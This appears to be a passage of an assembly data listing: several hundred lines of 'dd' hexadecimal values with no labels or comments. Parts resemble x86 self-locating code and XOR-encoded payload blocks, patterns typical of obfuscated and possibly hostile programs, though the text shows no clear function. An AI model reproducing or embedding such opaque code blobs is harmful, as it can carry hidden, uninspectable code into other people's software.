		dd 0FFFA2B73h, 0EF560168h, 2B69E905h, 7968FFFAh, 0E905EF57h
		dd 0FFFA2B5Fh, 0A7C4EB2Bh, 395685C1h, 0CAE71653h, 5976A9E4h
		dd 0ED0A3573h, 83C1F9E9h, 14553B58h, 0ABEAD0EDh, 437D6380h
		dd 4526F310h, 264ED797h, 0A07ED713h, 2B5984C2h,	0E625FF20h
		dd 93C38DBBh, 16C91AD3h, 1D37CC82h, 0BF174C41h,	8CC6AC49h
		dd 350F3C59h, 0D29CCAF9h, 34A4FC35h, 4B7AB791h,	96D381AEh
		dd 201C32FBh, 0DEE47CAAh, 191320F3h, 0E2AEFD78h, 0FE45263Eh
		dd 326h, 81ACEBC5h, 0BEEC8953h,	0B40C4384h, 5F80A144h
		dd 0C91AEDB1h, 81B0ED16h, 5C16B329h, 1C321CBBh,	0C85E8D03h
		dd 66473AB3h, 41E454ACh, 0BD9E1293h, 3A61CE4h, 5364E2D4h
		dd 2DCA6688h, 96065E75h, 52A3D2F3h, 0B4BDE1EFh,	8D843EDBh
		dd 95E1576Eh, 68A27C1Fh, 73CFFE3Bh, 86A30538h, 23366A0h
		dd 76E85CADh, 81E6A29Ah, 48000003h, 0DEC4E108h,	705673A2h
		dd 1E70433h, 907693C6h,	60A2752h, 6D98D6DCh, 2296A50h
		dd 95C0FFE5h, 25589278h, 0AC5A3B08h, 13264FEAh,	6FBD9BF4h
		dd 0E304A717h, 69A6CB09h, 0E0420C3Ah, 914BE8B2h, 1C3466E5h
		dd 98C704DEh, 3B6AA66Ah, 44E1430Dh, 2849EC62h, 9E01AFF9h
		dd 6906ED56h, 0FD1A4583h, 80AED917h, 33754675h,	8E08EEC4h
		dd 9AC8F332h, 8A7933D0h, 0CC63ACE1h, 7F2E5F92h,	0D07563CEh
		dd 2FA1CD8h, 81C10000h,	1B573D5Ah, 0ACE9CFECh, 3F7A607Dh
		dd 0CB09EF0Ch, 637F83A0h, 0D1EE1957h, 6683AAEBh, 0F9164180h
		dd 89A6D913h, 692DDBBCh, 7513264Ch, 176F3E1Ch, 1AF6B866h
		dd 789F16C9h, 34D7D37Eh, 45A71D75h, 69A781A2h, 0A946103Eh
		dd 341887EFh, 3610C71Ch, 0D19BC9FCh, 2630DDA1h,	96BE113h
		dd 0D7974566h, 0D3132630h, 9C126A95h, 93AF47FFh, 0EF132630h
		dd 935785B0h, 39FD2B52h, 0D49ECCFFh, 1688ED4Ch,	44670EAFh
		dd 4520F99Ch, 0A2F05988h, 0B82F824Fh, 19CFA1Bh,	0E7C10000h
		dd 86507EA9h, 88C2BBE9h, 0FB1C2755h, 0C91A094Dh, 0C31F9516h
		dd 622C5A85h, 72A5DFC5h, 54C41C55h, 6A9DD7B1h, 0A8D5723Ch
		dd 32237DFAh, 0A2DCB61Ch, 7AF0D26Fh, 0C8EB44Ch,	48E91320h
		dd 0C5D27E2Dh, 3BCE4526h, 94000000h, 4A7176Fh, 32294D56h
		dd 1543B91Ch, 200B457Dh, 0F819B213h, 200B044Ah,	77148A13h
		dd 92A3342h, 200B1B5Bh,	236B4A13h, 0D1F0FBAh, 0C3A23FB5h
		dd 4526CE1Dh, 9613h, 88C2D900h,	421C2755h, 0DFA9D706h
		dd 0F31E5C42h, 94C701C5h, 40815B66h, 8421EB19h,	1431649Eh
		dd 0C9164A5Ah, 5F92CC16h, 41B10942h, 80C3F09Eh,	0FED81C2Fh
		dd 5D6896BDh, 22A8EFAFh, 1779EF13h, 7F22987Ah, 0E3C67A5h
		dd 0A07AA744h, 341A3762h, 0F99ACBF6h, 366988F0h, 182823Eh
		dd 9490000h, 0A3DFC5E2h, 34715774h, 0C702E805h,	53917794h
		dd 0DB070B28h, 5976A1DFh, 0EE0B3273h, 819EC908h, 112E619Bh
		dd 0F1B56344h, 0FD13264Dh, 84C2C6A4h, 1C563C59h, 0C29ECCE9h
		dd 63275588h, 0ACD9F629h, 1A99DD8Bh, 2CDA16C9h,	16C91A6Ah
		dd 30A6FE74h, 43025A93h, 81BC1A94h, 0A556204Eh,	9DFF9919h
		dd 7234CFAh, 0F56B1C32h, 0FF082352h, 22BBFBA9h,	0CD431320h
		dd 3EA69E1Ch, 5C9A74A1h, 0A7C42F0h, 0C821320h, 0EFD38DAAh
		dd 1313200Ah, 0E203A6D9h, 200A7234h, 0E397813h,	48BE16E0h
		dd 507EB1ECh, 1542E986h, 0A3D1FC3Bh, 1375A0DFh,	2D529076h
		dd 3563C5ECh, 0C779h, 176FB900h, 0E1436EADh, 66E2903Eh
		dd 0CAF91C34h, 47464AE7h, 6648E5CFh, 7E2C4DF0h,	13265238h
		dd 0FBB350C6h, 58A0CFF0h, 7486B56Dh, 0AE125484h, 269C1326h
		dd 6CD3DD75h, 922F1E4Dh, 9C3F72ACh, 609D3C6Dh, 0FFC9F722h
		dd 2F91C84Eh, 264D3D81h, 0E94BC113h, 85BFA54Ch,	7E542F03h
		dd 5FC168DBh, 23079931h, 9ABD1740h, 5C8FC9DBh, 0EC1F593Fh
		dd 8CBFFABEh, 0C847BAE9h, 0ADBA0F06h, 0FD745810h, 16C4E578h
		dd 1F4DE650h, 654BE85Eh, 4509B72Bh, 491F4DE6h, 2C0ED984h
		dd 52B4AAC0h, 0B3EDD3F0h, 156DA631h, 0E23EFF98h, 824C7AA1h
		dd 0E14E7D20h, 0EFD54861h, 6622DA77h, 0Ch, 0E16778A7h
		dd 65E127D6h, 33A19AC8h, 2D5B82C2h, 0CEFC2F69h,	72A0CB0Ah
		dd 18466DAEh, 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh
		dd 4775A4E0h, 4EC8386h,	89240489h, 405E0h, 0E8830000h
		dd 24048704h, 0E689565Ch, 4C681h, 0EE830000h, 24348704h
		dd 243C895Ch, 21CB68h, 242C8900h, 400367BFh, 524F4F56h
		dd 50AECEBAh, 5AD72950h, 242C8B54h, 5104C483h, 4D89F989h
		dd 240C8B08h, 4C481h, 34FF0000h, 0C4835D24h, 243C8B04h
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFFA265Fh
		dd 4DEF2D64h, 750B8DA5h, 0EF5920B8h, 0FFC50305h, 1D1799E0h
		dd 0C6EE8A37h, 587BEC46h, 82047904h, 3AC9CD68h,	0C6B03036h
		dd 0D68D8D03h, 6A05EF5Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0BB4DC357h,	4D118749h
		dd 430729A7h, 5DBD29h, 0B58905E9h, 5E90EC5h, 26558D89h
		dd 858B05E9h, 5E923B5h,	80585C7h, 5C3405E9h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 29B19DC3h, 8B674F39h, 0E92439BDh, 890F6005h,	6, 24799D89h
		dd 5E905E9h, 3000000h, 12F53AEBh, 9D858B61h, 0C705E91Fh
		dd 0E9163D85h, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0FFF5E9F5h, 0E9182DB5h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0B23D7B28h, 38562198h, 0C595FFDFh, 6A05E90Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 9A3AC352h, 0B7A8DC29h, 0F78B6687h, 95FF006Ah
		dd 5E91E95h, 6BEBC08Bh,	0F8B604DBh, 0D83EC648h,	58A0A8F5h
		dd 0AE93DD04h, 0AF5E73A8h, 379BCF1Fh, 394D3B40h, 732C8EBh
		dd 0E828EF02h, 0E0F1BB55h, 5A12B933h, 0BA9C2CF9h, 0DC9CE4Eh
		dd 42004036h, 0AA16D849h, 79FDDF27h, 6A0058DCh,	3E32A989h
		dd 25CCEAACh, 0F747CEA4h, 731A4D82h, 45B1E130h,	39814F83h
		dd 0F6C3CFB7h, 0D874A1A4h, 1C80F15Bh, 5393E39Fh, 5DB13EE8h
		dd 0ACF23256h, 55F201EEh, 0ABB13256h, 0D5B13256h, 0EAE89EEAh
		dd 75EB827Fh, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13254h, 57B83581h, 0ABAB3255h, 0D5B93254h
		dd 0E8313265h, 77F63256h, 0B8F63256h, 5DB8F27Dh, 0CC9C3256h
		dd 0F99882A5h, 0FB54EE19h, 273A5436h, 7CD0F0DDh, 16232FA2h
		dd 56F2B36h, 0D6E9E7DAh, 0FED053A4h, 57B135BFh,	22216156h
		dd 900D9DD8h, 952FEBC5h, 9431A71Ah, 0BAB7DB6Eh,	2AC73256h
		dd 0BDB37FB2h, 6B3853CBh, 4BB13272h, 0D98E6CCFh, 0B0EA5803h
		dd 0E5E9680Eh, 0F4F86245h, 7B44E39h, 0FEE968DDh, 57B13EBFh
		dd 190C2656h, 2B08B255h, 0E0C49E09h, 5B18A42Dh,	80D46E99h
		dd 5B65B2BDh, 0AEB13EBFh, 0C5ACC656h, 75A85235h, 3F64BEE9h
		dd 7AD0AF8Dh, 8E3BC77Ah, 6DE7434Eh, 2E539F92h, 0BA580359h
		dd 0BB13256h, 0E35A0833h, 217634B7h, 8AD2A04Bh,	0F90EEC4Fh
		dd 0E06AD883h, 0D6E9680Eh, 0AEBDDB56h, 0DA953256h, 22216114h
		dd 900D9DD8h, 0AE38F9CCh, 79583672h, 0EEB13256h, 9DF2C0ABh
		dd 422E0CAFh, 0F0A78E3h, 2814156h, 0B0EDFD78h, 0B8E10359h
		dd 44BE5336h, 0E2EB5336h, 7AE96A0Ch, 6DC34F82h,	480F4B16h
		dd 907B073Ah, 0E4BE53CBh, 0F858AE36h, 57B13256h, 0D45842E5h
		dd 2714AE59h, 0E890BA7Dh, 85EC0651h, 753054F5h,	0C1585848h
		dd 26B13256h, 0CDAA1843h, 0DE46C4C7h, 8D22B09Bh, 525EFC9Fh
		dd 0CABAE8D3h, 0F1D06906h, 0D5B16A0Eh, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B1DA36h, 3BEB3256h
		dd 0B2EF37BCh, 4134BF53h, 0DEB4DC9Ch, 44EA69D4h, 8933BF53h
		dd 63B4DD98h, 9AEA6DD4h, 0B3FFDA53h, 26593256h,	69B13256h
		dd 0B8EA79D4h, 0ABB13253h, 50776056h, 0EF583CB3h, 0CDE35A00h
		dd 0F4EAEFEh, 58582CABh, 0D4DEB7DBh, 874E37BAh,	0B384B7DFh
		dd 0D1DB37BFh, 0EAA1323Eh, 78F15A56h, 0BADB3255h, 56EBE2A9h
		dd 27824696h, 0B8EA79D4h, 0E433BB53h, 6CB4DD0Dh, 0EAB23F16h
		dd 0B582CADDh, 0D0E398A5h, 4DB15A52h, 0AED93256h, 3DB13252h
		dd 9E23CD56h, 8FB4DB4Eh, 0B12EB0DFh, 0FED037B9h, 55EA79D3h
		dd 9AD1F153h, 4795EBD4h, 17B13253h, 4A33F556h, 0D5B4DB79h
		dd 8BB13246h, 0CF3A5295h, 0BF5E691Dh, 29B10DD5h, 0BECEB175h
		dd 0D4BA4654h, 0DFB52229h, 0C176B158h, 0AD76D8BDh, 75B13346h
		dd 7D43D956h, 5DB22211h, 475A3256h, 0DCE4F137h,	0AB5952BAh
		dd 8FB13256h, 0B44BD8D7h, 0C73A37B9h, 0BF5E69F5h, 0D4B977DDh
		dd 0D33B150h, 53B4DD0Dh, 0AF73FB37h, 0D5595256h, 0B0B13256h
		dd 2AAFD8D7h, 83A37B9h,	585E69C9h, 0F512806Dh, 6CC537B9h
		dd 743A0CDDh, 0D4FE8459h, 6AB075A0h, 0ACB23623h, 639A30BDh
		dd 0D83A7115h, 0AB58114Fh, 57A4BFDDh, 738A37BFh, 0C8A3B24h
		dd 2C323721h, 4E78D952h, 33B94699h, 0B4B127EBh,	0CF06D953h
		dd 57595295h, 0F1B13256h, 8AC7D8D7h, 503A37B9h,	705E69C9h
		dd 0BAB032EFh, 0AE710156h, 3133B9FDh, 0DEB4DD0Dh, 44EA91D4h
		dd 0B5725353h, 0EAB132BEh, 9F306856h, 0BF5E6DF6h, 5354B790h
		dd 0C6E737BFh, 83AE5F6Fh, 0B54C87A9h, 503C37BFh, 0EF5D4839h
		dd 25E3E2A9h, 0BA31323Eh, 0A2B15856h, 41EA79E4h, 0F61CD53h
		dd 2BB15A0Ch, 0D5DB3256h, 0B12E80A9h, 0A54E37B9h, 31E4F137h
		dd 5D5952BAh, 0F4B13256h, 85FD8D7h, 0DE3A37B9h,	0D729DA5Eh
		dd 15E43256h, 9AEA69C4h, 0CF8A6F53h, 0B55F475Ah, 0AEB130D0h
		dd 5F73FB37h, 473A6756h, 834DF6D5h, 0EA596101h,	2FB13256h
		dd 0DA93D8D7h, 283A37B9h, 0BECCB95Eh, 60596401h, 0A0B13256h
		dd 5E904696h, 784E67AEh, 705E690Dh, 0B6C4090Bh,	0D6D72022h
		dd 5E56B248h, 0B4312CDCh, 0AD2CDAA6h, 15A3256h,	24D4FDFh
		dd 8A4ECC0Bh, 31EF6D0Dh, 9F78CE13h, 25E4325Ah, 0AF75B1BAh
		dd 0F8E06401h, 0D5497791h, 2DB13256h, 9AEAB9D4h, 0BAB13353h
		dd 55C4B956h, 25AFB930h, 0B8EA79ECh, 0A3EEB953h, 0DAC5E95Dh
		dd 0ECC4EC6Dh, 0FCBD6FDDh, 7D323E09h, 3B5BD942h, 55312CDDh
		dd 99353DBEh, 2BB13256h, 51BEDBADh, 0EAB13293h,	7A5AC9D6h
		dd 0BAB18ED2h, 0BF4AB256h, 0AE1DB659h, 0AC313256h, 31353DB5h
		dd 0B3B13256h, 9D6C9D7h, 7529B659h, 5D313256h, 0A63054A6h
		dd 2ABEB259h, 57B132C7h, 2B41D1D6h, 51BE42ADh, 0EAB132D3h
		dd 0F5AFB930h, 4131CAB5h, 0DDF346EEh, 93C53768h, 239C0CD6h
		dd 0C38FB26Eh, 574E0122h, 0EF5E69DDh, 0F5AFB930h, 3BD7CAB1h
		dd 2959B3ADh, 0B03A5476h, 3141D5D6h, 6B30C9D7h,	80D12122h
		dd 0B1EAA0A9h, 0FCEC37B9h, 39D0CE13h, 28B0CE2Bh, 770BB935h
		dd 7B4DB72h, 0F03AB0DDh, 0E98837B9h, 0BAC36A66h, 5A5088DDh
		dd 31E137BFh, 0B2EAB9D4h, 9E8D0B53h, 0BC8C4D0Eh, 53F4F546h
		dd 0D5B13254h, 0AF7635BDh, 75B133AEh, 0F10BB956h, 0D6B4DD0Dh
		dd 0DA6A3949h, 226F0949h, 0A7ECB959h, 0D5494FD5h, 0B7B23122h
		dd 71EEBBAEh, 51A5F5D5h, 0B47101B4h, 0AEB13296h, 0DCAFB930h
		dd 50313E2Bh, 55BB46BDh, 1131C2B5h, 9EA74626h, 53B6F464h
		dd 5DB07591h, 25B13256h, 5271B191h, 0ABB1A5BFh,	0D2765456h
		dd 0F43B3A59h, 0F5BED1D6h, 0E539B29Dh, 5FF6F557h, 0AEB13256h
		dd 9732F5DDh, 0CDC8D950h, 45210CD7h, 0D4313D22h, 13BF47C6h
		dd 2A4E4CD7h, 0B6B346C6h, 4576B952h, 0F033BF09h, 0FBB4DD0Dh
		dd 8A23CD00h, 0E1B4DD0Dh, 0FEBB4696h, 1D03BF9Eh, 0B6B4DD0Dh
		dd 603A6446h, 0C23CD03h, 0F6B4DD0Dh, 0C46FC7Dh,	12CCB108h
		dd 0C5A14757h, 2D7981Fh, 0F6D7B759h, 0AFF78459h, 0D4AAD9FDh
		dd 0DEB3CA2Bh, 0DE095445h, 8C1A549Fh, 13353DEEh, 0FC073DFDh
		dd 5F5A9957h, 693A96A5h, 8EF6B0Dh, 0ABB9F09Fh, 0B55DB903h
		dd 0EAB132BEh, 9F306856h, 0BF5E50D6h, 0D4B977DDh, 41EA61D4h
		dd 95785353h, 20E43252h, 2D75B1BAh, 0EAB1DA36h,	0F4EB3256h
		dd 55D393BCh, 0A5F4F553h, 0AEB13256h, 574D7791h, 98B13256h
		dd 0CB3A5496h, 0B13AB091h, 75B037B9h, 3BD73256h, 2821A2ADh
		dd 464AB256h, 56B9B659h, 2BF13256h, 51BEDBADh, 0EAB132A8h
		dd 9E4AB216h, 0BA45B659h, 0DDF13256h, 2FD7C2B1h, 58313DADh
		dd 0ABB1D7D2h, 0C8333156h, 0AAB4DB74h, 7A53C9D6h, 0BAB1FCD2h
		dd 0BE4AB256h, 0AE0DB659h, 0D6D73256h, 0A45255ADh, 0D5B188D2h
		dd 1A52B256h, 7AC1C9D6h, 0BAB187D2h, 433A5456h,	2E49D1D6h
		dd 10C58AADh, 0DFB40CD6h, 0F88FB214h, 0D4310F22h, 3589463Eh
		dd 0E13AB0A9h, 0D6D737B9h, 5656B248h, 0D64AB330h, 0CD9546BEh
		dd 32312CDDh, 113054A6h, 62C5F2D7h, 284E6736h, 585E690Dh
		dd 52F4BB0Bh, 0ABCCB137h, 83343D57h, 5EB13257h,	395EBECh
		dd 0F73A6253h, 0BF5E69DDh, 5810E6Fh, 0AFA0B059h, 0ED3A3256h
		dd 0AE581DB7h, 5E33B906h, 0D3B4DD0Dh, 7AE9026Ah, 0BAB1C8D9h
		dd 120BB956h, 2DB4DD0Dh, 0B8EA7DD4h, 9C382653h,	85A175DFh
		dd 0B13AB0DDh, 693A37B9h, 0E5386A66h, 5D64DB5Eh, 0EB763256h
		dd 57B130AEh, 6CB6D956h, 0D5B0CA13h, 503A3256h,	705E6919h
		dd 0E1FEB0D5h, 0D4A537B9h, 0BEF6BB61h, 22B2CAD5h, 2033F55Ah
		dd 0D7B4DD0Dh, 1B13256h, 7749B153h, 0C7326D2Bh,	46C532AEh
		dd 0AFF78459h, 57B1B2FFh, 0EBB74756h, 3EB4DAD5h, 0EA4E1F5Eh
		dd 9D323256h, 0E9BAD953h, 63AA8DDh, 0AA3A37B9h,	57186965h
		dd 0DE313256h, 56773142h
		dd 68B23796h, 705E69DDh, 0B2F6BB1Eh, 0B6BD75DFh, 8569C500h
		dd 0D469C590h, 29B23796h, 0D05E69DDh, 0E2F6BB1Eh, 9EBD75DFh
		dd 30710168h, 0DD193310h, 68B21323h, 0ECB3F2D5h, 0ABB13257h
		dd 0DCC5E95Dh, 4AAEA8DCh, 963137B8h, 33723157h,	1A383A11h
		dd 59A5D95Ah, 574E178Eh, 6D9A3256h, 1532EAA1h, 0E2F6BB54h
		dd 8DBD75DFh, 0EF72FB37h, 9932DEDDh, 0AE5952AAh, 0DB13256h
		dd 0CF03D8D7h, 6F3A37B9h, 0EF5E691Dh, 4A32FB65h, 78353D56h
		dd 0D6B13256h, 0A2C4CD51h, 7B947A9h, 0ABB041BEh, 56B44156h
		dd 85A2691h, 8A4D77DFh,	0CF4E3E23h, 0B586CD5Eh,	0AEB1330Ah
		dd 5726B059h, 0EE3A3256h, 0DAB60BAAh, 0EAB1BED4h, 89F4CD56h
		dd 0BAB54DD5h, 22323A22h, 0ACC5325Ah, 0A8093CBDh, 124ECDA9h
		dd 0D5B13253h, 295A99A5h, 70A14DD5h, 0C5323D22h, 4CC43446h
		dd 0AAF6B917h, 0BCBD6DDDh, 0AFF6B915h, 3EBD6DDDh, 0EEF6B96Fh
		dd 4EBD6DDDh, 0AFC43A09h, 59E6B904h, 0ADA1677Dh, 83A2603h
		dd 286B195Ah, 3EEB37BDh, 0EEF6B944h, 5EBD6DDDh,	51323609h
		dd 883B3153h, 2DB4DB5Ah, 22B22229h, 729A7357h, 0D4B06EDFh
		dd 154ECDEEh, 75B48BA9h, 11423256h, 0A24E64BFh,	6C7853A9h
		dd 0DCE43246h, 5775B1BAh, 0D5B1DA36h, 6BEB3256h, 9AD4AFBCh
		dd 0F10BB953h, 6EB4DD0Dh, 0AE8EB19Fh, 5720B659h, 0AC3A3256h
		dd 2ABD47A9h, 2E13A23h,	75B132DEh, 7D323725h, 0D453D942h
		dd 0DB4ECE13h, 5FC4CD5Ah, 0DA5905A9h, 0A7B13256h, 16F4B93Ch
		dd 16C3356Fh, 394D77A9h, 29B13629h, 0A2CEB15Eh,	0BCB34656h
		dd 544E8A58h, 0D008CDA9h, 19B13256h, 0F67AD9FDh, 0CEB42229h
		dd 4DCEB159h, 0EFA04750h, 0DCB575DDh, 0B65A3E09h, 5EB575DDh
		dd 0F95A3E09h, 0FEB575DDh, 0E59A3E09h, 585AB152h, 0ADA14DD5h
		dd 7CF03323h, 0AAEDBB8Fh, 2A4E8A57h, 0EF08CDA9h, 86B13256h
		dd 0DB36D9FDh, 5DB9F09Fh, 0CE5DB903h, 6CB977DDh, 0A3C33E13h
		dd 0A2A1776Dh, 0E95ACA55h, 14B1D9AFh, 0BABDF09Fh, 0DE5DB903h
		dd 46D1CE92h, 57B13256h, 0D85BB30Ch, 0E6B4DD30h, 636A019Fh
		dd 0CF3ACE0Bh, 0BF5E691Dh, 29B10DD5h, 518EB132h, 90323723h
		dd 2840D942h, 0A1B13629h, 0E6CEB15Eh, 9EB34656h, 46F4CD5Eh
		dd 0B6A5F5D5h, 0BECEB18Dh, 0D4BE4653h, 0DEB72229h, 923A7347h
		dd 0E6EEB952h, 323A2FBDh, 0B6EEB952h, 1A3A21BDh, 0A2EEB952h
		dd 0D4B56D7Dh, 0D43237BDh, 0D4C43146h, 63681917h, 0CDB0330Ah
		dd 454ECDA9h, 5DB137EFh, 451AC156h, 123A53C1h, 0FB72FBAAh
		dd 0D5596107h, 0B0B13256h, 134FD8D7h, 203C37B9h, 585E6935h
		dd 0AEB156EEh, 5763DA56h, 0A03A3256h, 0C15AF36Dh, 0D1B57955h
		dd 76A64097h, 7B8A221Dh, 5F5A3024h, 0BC5A26BDh,	94C7A8DBh
		dd 784E37B9h, 4F3C3ABDh, 0EF5EF4CAh, 2CEAE1A9h,	31E4F10Eh
		dd 5DB1DABAh, 2FEB3256h, 0B8D67FBCh, 113C5253h,	0D05E6935h
		dd 63B977DDh, 79F4B951h, 31B575DFh, 1A382213h, 0BAF4B95Ah
		dd 36A175DFh, 0ABA1F09Fh, 3034F436h, 0ADB4DB58h, 62C2283Eh
		dd 4704CDFEh, 0D0B4DB48h, 42CB5DD3h, 561CD53h, 0F03EB8DBh
		dd 2AE037B9h, 683C6886h, 705E69D9h, 0B6F18559h,	52E3EADDh
		dd 6DB26867h, 5AD4B0DFh, 0C3D037BFh, 0E85251h, 5A000000h
		dd 67BEEA81h, 8B5205EFh, 0E90D6582h, 4E6DB905h,	0E1F741C6h
		dd 3039055Ah, 0FF250000h, 897FFFFFh, 0E90D6582h, 0C3595A05h
		dd 0E85251h, 5A000000h,	67EEEA81h, 0C88B05EFh, 0FFFFBBE8h
		dd 0F7D233FFh, 5AC28BF1h, 0C08BC359h, 858DC08Bh, 5EF5DFFh
		dd 8B66D0FFh, 0B7858DC1h, 8905EF67h, 0E9102985h, 0E7858D05h
		dd 8905EF67h, 0E92CED85h, 0B805h, 0C00B0000h, 47840Fh
		dd 85C60000h, 5E90EE5h,	30DF6856h, 0B5FFA9C5h, 5E91EFDh
		dd 7A6F858Dh, 0D0FF05ECh, 498D8D50h, 5105E927h,	68046Ah
		dd 0FF000010h, 0E90769B5h, 8BD0FF05h, 0E90769BDh, 3C7F0305h
		dd 0F8C781h, 47C70000h,	2024h, 0B59D8D60h, 8B05E92Eh, 0FC00B03h
		dd 584h, 89008B00h, 0F6B90443h,	0E800234Ch, 7, 0FEFB7514h
		dd 5107B7E1h, 595FD180h, 2CC08158h, 66000074h, 1A75EE81h
		dd 148BDB33h, 81FB8B18h, 61B76FC2h, 81F88B52h, 87F2D4C2h
		dd 6C8FBE30h, 0EA8151B2h, 5487B085h, 0B870Fh, 0F600000h
		dd 8Dh,	0FB8B6600h, 0BF0F5261h,	18048FFAh, 2820Fh, 0E88A0000h
		dd 1A890Fh, 0E9600000h,	0Fh, 75FF9BD7h,	867D4C74h, 5EE4FCB1h
		dd 66347D5Ah, 61582EBFh, 1E48EB81h, 0AE81C50h, 47000000h
		dd 5F1A21F4h, 0ABC17978h, 0FE9CBh, 0E85F0000h, 21866D22h
		dd 8DA85874h, 0EBC1B9D0h, 0C3815F70h, 1C501E44h, 11E8h
		dd 0AD3E1500h, 0B7DAEB63h, 0C8C40A36h, 8C30A825h, 0E86004E0h
		dd 0Eh,	10F0E90Ch, 0EA3775A8h, 904EA4A5h, 0F5F3BA9h, 8Ah
		dd 815F6100h, 0FF8CBCFBh, 33850FFFh, 0BEFFFFFFh, 4D651C3Fh
		dd 6A8D8D8Dh, 6A05EFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0CEB84DC3h, 0E3A54313h, 3C5E781h
		dd 8D892927h, 5E92655h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 91C35545h, 80585C7h, 5C4405E9h, 0B5890000h
		dd 5E906A5h, 1EB58D89h,	85C705E9h, 5E9163Dh, 0
		dd 12718D29h, 0DE905E9h, 0E5000000h, 40EEA232h,	41268708h
		dd 46ABB689h, 321DB5FFh, 6A05E9h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 95C06FC3h, 0C890FCBh
		dd 0F000000h, 68Bh, 890F00h, 0FF000000h, 0E90BC595h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0E4F1F7CCh, 0A2BC60FDh, 6E888h, 49010000h, 0A900AD9Dh
		dd 25598529h, 6A5E05E9h, 9595FF00h, 8B05E91Eh, 2A0EEBC0h
		dd 0C57BD01Fh, 1FC9E027h, 53E8E6B9h, 5E812h, 374B0000h
		dd 0E92D6C70h, 7, 0B59BC557h, 5E040921h, 2B919501h, 0C68105E9h
		dd 6E97h, 6830Fh, 8D8B0000h, 5E93219h, 68h, 13E900h, 4AF30000h
		dd 4BAB297h, 146BE337h,	0F77DAFCCh, 8CE43A18h, 95295874h
		dd 5E90685h, 13034FFh, 0E924F19Dh, 0BD8B5B05h, 5E926EDh
		dd 118EB81h, 9E92D5Ch, 0A3000000h, 0B8AE2369h, 114CE839h
		dd 0EC6DEB81h, 8D890379h, 5E90D19h, 0D4B4EB81h,	0F53077Dh
		dd 48FC8B7h, 0F61B206h,	0E883D7BFh, 0B0B96601h,	484848E7h
		dd 0AF3BF281h, 0F88149F1h, 0FFFF9228h, 0FFA2850Fh, 12E9FFFFh
		dd 22000000h, 9C335550h, 9B1260F3h, 0CBF8FF68h,	0C36CFE6Ch
		dd 8EB7Dh, 98000000h, 0E96983C3h, 4C7h,	0EF6C8D68h, 1475E905h
		dd 0EF68FFFAh, 0E905EF6Ch, 0FFFA146Bh, 0EF6E7368h, 1461E905h
		dd 0ED2DFFFAh, 87C3A9C6h, 18553B58h, 0ABE6CCE9h, 37755B78h
		dd 0F7EBEF0Ch, 35527DBBh, 0CAE70E4Fh, 5D7AA5E4h, 0ED0A3D77h
		dd 0CD913F20h, 0D1132671h, 84C29A78h, 2D672B59h, 4CA4DDFAh
		dd 0CE8B39DCh, 0C81C321Ch, 0E08EAF52h, 1320149Eh, 81AFE21Ch
		dd 4CE95FB7h, 71AF8994h, 0B14E1846h, 2014CBF7h,	0EA8B2C13h
		dd 26D91FC1h, 3251145h,	84D70000h, 0FF3E1843h, 54D223D4h
		dd 9159F361h, 0F363BBF4h, 3D812F50h, 0BD16C985h, 81F74F82h
		dd 0E409B7E4h, 2A1C3283h, 5B7C85B4h, 208BE9ADh,	0E27FF513h
		dd 47A55328h, 84F44C66h, 1B233E1h, 4271E4BDh, 3B895FB8h
		dd 3F7DD994h, 7F1CE614h, 0E2F9279Dh, 56771A8Ah,	0ACC4E6A8h
		dd 0D572E8EBh, 0CFFBFAA8h, 0F7FE157h, 0AF73A1D4h, 89E5476Eh
		dd 25EF1D4Ch, 0C4620C3h, 9CD6BCD9h, 0D9072E6Fh,	217CAD0Fh
		dd 2E76E7B5h, 2F47A36h,	0F5350000h, 8FCBB1CEh, 205D4360h
		dd 0B3EED4F1h, 3F7D6380h, 0EFF3F714h, 3D5A85C3h, 0D2EF1657h
		dd 6582ADECh, 0F512457Fh, 0D5994728h, 0D9132676h, 176FA280h
		dd 0EE2A04A7h, 47F522BFh, 1C343F2Dh, 825CFF75h,	16FC1944h
		dd 747FADD8h, 8F2C5F9Ah, 0ACA02ED5h, 3367063h, 640825D2h
		dd 0BE7A7275h, 292h, 4F6C93D3h,	0E1FE2D69h, 728FBEFBh
		dd 11E518Ch, 95B2DD1Bh,	2B695191h, 0BCFDE300h, 53927895h
